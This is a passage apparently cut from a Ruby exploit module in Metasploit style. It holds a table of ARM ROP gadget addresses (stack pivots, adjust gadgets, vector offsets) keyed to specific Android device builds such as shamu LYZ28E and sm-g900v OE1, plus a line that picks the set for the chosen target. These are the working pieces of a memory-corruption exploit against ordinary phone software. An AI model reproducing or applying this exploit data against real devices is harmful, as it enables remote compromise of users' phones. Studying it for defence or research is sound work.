'lrx', 'Pivot1' => 0x67f7b, # ldr r4, [r0] ; ldr r1, [r4, #0x10] ; blx r1 'Pivot2' => 0xaf9dd, # ldm.w r4, {sp} ; pop {r3, pc} 'Adjust' => 0x475cd # pop {r3, r4, pc} }, 'lmy-1' => { 'VectorRVA' => 0x10bd58, 'PivotStrategy' => 'lmy-1', 'Pivot1' => 0x68783, # ldr r4, [r0] ; ldr r1, [r4, #0x10] ; blx r1 'Pivot2' => 0x81959, # ldm.w r4, {r1, ip, sp, pc} 'Adjust' => 0x479b1 # pop {r3, r4, pc} }, 'lmy-2' => { 'VectorRVA' => 0x10bd58, 'PivotStrategy' => 'lmy-2', 'Pivot1' => 0x6f093, # ldr r0, [r0, #0x10] ; ldr r3, [r0] ; ldr r1, [r3, #0x18] ; blx r1 'Pivot2' => 0x81921, # ldm.w r0!, {r1, ip, sp, pc} 'Adjust' => 0x479b1 # pop {r3, r4, pc} }, 'shamu / LYZ28E' => { 'VectorRVA' => 0x116d58, 'PivotStrategy' => 'lyz', 'Pivot1' => 0x91e91, # ldr r0, [r0] ; ldr r6, [r0] ; ldr r3, [r6] ; blx r3 'Pivot2' => 0x72951, # ldm.w r0, {r0, r2, r3, r4, r6, r7, r8, sl, fp, sp, lr, pc} 'Adjust' => 0x44f81 # pop {r3, r4, pc} }, 'shamu / LYZ28J' => { 'VectorRVA' => 0x116d58, 'PivotStrategy' => 'lyz', 'Pivot1' => 0x91e49, # ldr r0, [r0] ; ldr r6, [r0] ; ldr r3, [r6] ; blx r3 'Pivot2' => 0x72951, # ldm.w r0, {r0, r2, r3, r4, r6, r7, r8, sl, fp, sp, lr, pc} 'Adjust' => 0x44f81 # pop {r3, r4, pc} }, 'sm-g900v / OE1' => { 'VectorRVA' => 0x174048, 'PivotStrategy' => 'sm-g900v', 'Pivot1' => 0x89f83, # ldr r4, [r0] ; ldr r5, [r4, #0x20] ; blx r5 'Pivot2' => 0xb813f, # ldm.w r4!, {r5, r7, r8, fp, sp, lr} ; cbz r0, #0xb8158 ; ldr r1, [r0] ; ldr r2, [r1, #4] ; blx r2 'Adjust' => 0x65421 # pop {r4, r5, pc} } } details[my_target['Rop']] end end

 

TOP